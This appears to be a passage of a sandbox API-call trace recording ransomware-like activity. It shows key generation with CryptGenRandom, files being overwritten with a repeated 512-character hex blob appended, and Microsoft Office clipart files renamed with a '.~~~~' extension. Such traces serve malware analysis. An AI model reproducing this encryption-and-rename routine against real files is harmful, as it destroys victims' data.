	[0113.530] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.530] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.530] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23352045442) returned 1
	[0113.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad462f10, dwHighDateTime=0x1d60e1e)) 
	[0113.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28392c8
	[0113.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28392c8 | out: hHeap=0x300000) returned 1
	[0113.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835d00
	[0113.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.531] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.531] GetLastError () returned 0x0
	[0113.532] GetLastError () returned 0x0
	[0113.532] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.532] GetLastError () returned 0x0
	[0113.532] GetLastError () returned 0x0
	[0113.617] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff83f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.617] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x7c08, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0x7c08, lpOverlapped=0x0) returned 1
	[0113.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0113.632] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.632] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.632] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.632] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.633] CloseHandle (hObject=0x138) returned 1
	[0113.633] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.633] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp.~~~~")) returned 1
	[0113.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.635] GetLastError () returned 0x0
	[0113.635] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.636] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.636] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.636] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23362639976) returned 1
	[0113.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad547750, dwHighDateTime=0x1d60e1e)) 
	[0113.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839488
	[0113.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839488 | out: hHeap=0x300000) returned 1
	[0113.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835d98
	[0113.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.637] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.637] GetLastError () returned 0x0
	[0113.637] GetLastError () returned 0x0
	[0113.637] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.638] GetLastError () returned 0x0
	[0113.638] GetLastError () returned 0x0
	[0113.640] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff3a29, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.640] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0xc5d7, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0xc5d7, lpOverlapped=0x0) returned 1
	[0113.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0113.642] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.642] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.642] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.642] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.642] CloseHandle (hObject=0x138) returned 1
	[0113.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.642] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg.~~~~")) returned 1
	[0113.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.644] GetLastError () returned 0x0
	[0113.644] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.645] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.645] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.645] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23363560385) returned 1
	[0113.646] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad56d8b0, dwHighDateTime=0x1d60e1e)) 
	[0113.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28394c0
	[0113.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28394c0 | out: hHeap=0x300000) returned 1
	[0113.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836258
	[0113.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.646] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.646] GetLastError () returned 0x0
	[0113.647] GetLastError () returned 0x0
	[0113.647] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.647] GetLastError () returned 0x0
	[0113.647] GetLastError () returned 0x0
	[0113.649] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff0bc8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.650] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0xf438, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0xf438, lpOverlapped=0x0) returned 1
	[0113.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0113.651] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.651] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.651] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.651] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.651] CloseHandle (hObject=0x138) returned 1
	[0113.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.652] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg.~~~~")) returned 1
	[0113.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.653] GetLastError () returned 0x0
	[0113.654] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.656] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.656] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.656] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23364600580) returned 1
	[0113.656] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad593a10, dwHighDateTime=0x1d60e1e)) 
	[0113.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28394f8
	[0113.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28394f8 | out: hHeap=0x300000) returned 1
	[0113.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28362f0
	[0113.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.657] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.657] GetLastError () returned 0x0
	[0113.657] GetLastError () returned 0x0
	[0113.657] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.657] GetLastError () returned 0x0
	[0113.657] GetLastError () returned 0x0
	[0113.660] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffcf0e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.660] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x30f2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0x30f2, lpOverlapped=0x0) returned 1
	[0113.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0113.662] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.662] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.662] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.662] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.662] CloseHandle (hObject=0x138) returned 1
	[0113.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.662] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif.~~~~")) returned 1
	[0113.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.664] GetLastError () returned 0x0
	[0113.899] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.920] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.920] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.920] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23391027977) returned 1
	[0113.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad81b170, dwHighDateTime=0x1d60e1e)) 
	[0113.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28395a0
	[0113.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28395a0 | out: hHeap=0x300000) returned 1
	[0113.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28365e8
	[0113.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.921] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.921] GetLastError () returned 0x0
	[0113.921] GetLastError () returned 0x0
	[0113.921] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.921] GetLastError () returned 0x0
	[0113.921] GetLastError () returned 0x0
	[0113.925] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffc3bb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.925] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3c45, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x3c45, lpOverlapped=0x0) returned 1
	[0113.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.926] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.926] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.927] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.927] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.927] CloseHandle (hObject=0x148) returned 1
	[0113.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.927] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg.~~~~")) returned 1
	[0113.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
